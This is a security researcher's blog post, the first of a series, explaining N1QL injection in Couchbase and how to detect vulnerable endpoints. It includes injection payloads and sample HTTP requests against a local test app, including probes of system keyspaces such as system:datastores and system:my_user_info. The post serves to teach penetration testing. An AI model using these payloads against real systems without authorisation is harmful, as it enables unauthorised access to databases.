Introduction

Several months ago, I came across a N1QL injection vulnerability while testing an application. This was a vulnerability I had never come across before and although it was quite easy to understand and exploit, I was unable to find many resources covering it (one or two blog posts and a few CVEs). This pushed me to go down the rabbit hole of discovery to understand how it can be exploited, the pros and cons of each methods, and its limitations.

This series of blog posts will cover what I have been able to learn through my own research.

  • Part 1 - will aim to cover the basics: What N1QL is and how to identify vulnerable endpoints
  • Part 2 - will cover the different methods of exploitation
  • Part 3 (coming soon) - will cover some of the more interesting features of N1QL and Couchbase server

Acknowledgement

Before we dive in, I want to mention this blog post by Krzysztof Pranczk (https://labs.withsecure.com/publications/n1ql-injection-kind-of-sql-injection-in-a-nosql-database), which was a great resource when I was learning about N1QL injection and gave me a great jumping off point for doing my own research.

The Basics

What is N1QL?

N1QL (pronounced nickel and sometimes referred to as SQL++) is a declarative SQL-like query language that extends SQL for JSON.

As it is based on SQL, if insecure queries or practices are used then injection vulnerabilities will be present.

What is N1QL Injection?

N1QL injection is a web security vulnerability that enables an attacker to manipulate the N1QL queries that an application makes to the database. Through this they are able to gain unauthorised access to data stored within the database, bypass authentication mechanisms or, in some cases, perform denial of service attacks.

It is essentially SQL injection within a NoSQL database.

Identifying a Vulnerable Endpoint

Quick and Simple

Testing for N1QL injection relies on much the same methodology as SQL injection. A vulnerable endpoint can be identified by appending or inserting a single quote (') or double quote (") into the target parameter, which will cause the application to return an error or behave differently.

Normal Request

Request:
GET /api/blog/p1 HTTP/1.1
Host: localhost
User-Agent: FelSec-Testing

Response:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: application/json
Content-Length: 130
Connection: close

[{"$1":[{"content":"Coffee is known to boost energy levels and improve mental alertness.","id":"p1","title":"Coffee Benefits"}]}]

Injected Request

Request:
GET /api/blog/p1' HTTP/1.1
Host: localhost
User-Agent: FelSec-Testing

Response:
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: application/json
Content-Length: 32
Connection: close

{"error":"Blog post not found"}

To confirm the presence of a valid injection point, the following payloads can be used:

'||'
' AND 'abcd'='abcd

For example:

Request:
GET /api/blog/p1'||' HTTP/1.1
Host: localhost
User-Agent: FelSec-Testing

Response:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: application/json
Content-Length: 130
Connection: close

[{"$1":[{"content":"Coffee is known to boost energy levels and improve mental alertness.","id":"p1","title":"Coffee Benefits"}]}]

Note: There are many more payloads for confirming a valid injection point, the ones above are merely examples.

Checking the Backend DB

Since the N1QL query language shares several behaviours and functions with other query languages, it is important to confirm that any injection point is within the N1QL query syntax. To achieve this Couchbase database and N1QL specific functions or keyspaces can be used, such as the following:

' and ENCODE_JSON({})='{}'
' and BASE64('a')='ImEi'
' and DS_VERSION()=DS_VERSION()--
' and ((SELECT * FROM system:datastores) IS NOT NULL)--
' and ((SELECT * FROM system:my_user_info) IS NOT NULL)--
' UNION (SELECT * FROM system:datastores)--
Request:
GET /api/blog/p1'%20and%20BASE64('a')='ImEi HTTP/1.1
Host: localhost
User-Agent: DB Detection

Response:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: application/json
Content-Length: 130
Connection: close

[{"$1":[{"content":"Coffee is known to boost energy levels and improve mental alertness.","id":"p1","title":"Coffee Benefits"}]}]

More functions and keyspaces can be found at the following URLs:

Useful Note: When testing for or exploiting N1QL injection vulnerabilities spaces must be URL encoded as %20, using a plus (+) will cause valid payloads to fail.

That about covers the basics of N1QL injection and how to detect it. In part 2 we will cover the basic exploits and other useful tricks for extracting information from the database. Part 2 - Exploiting N1QL Injection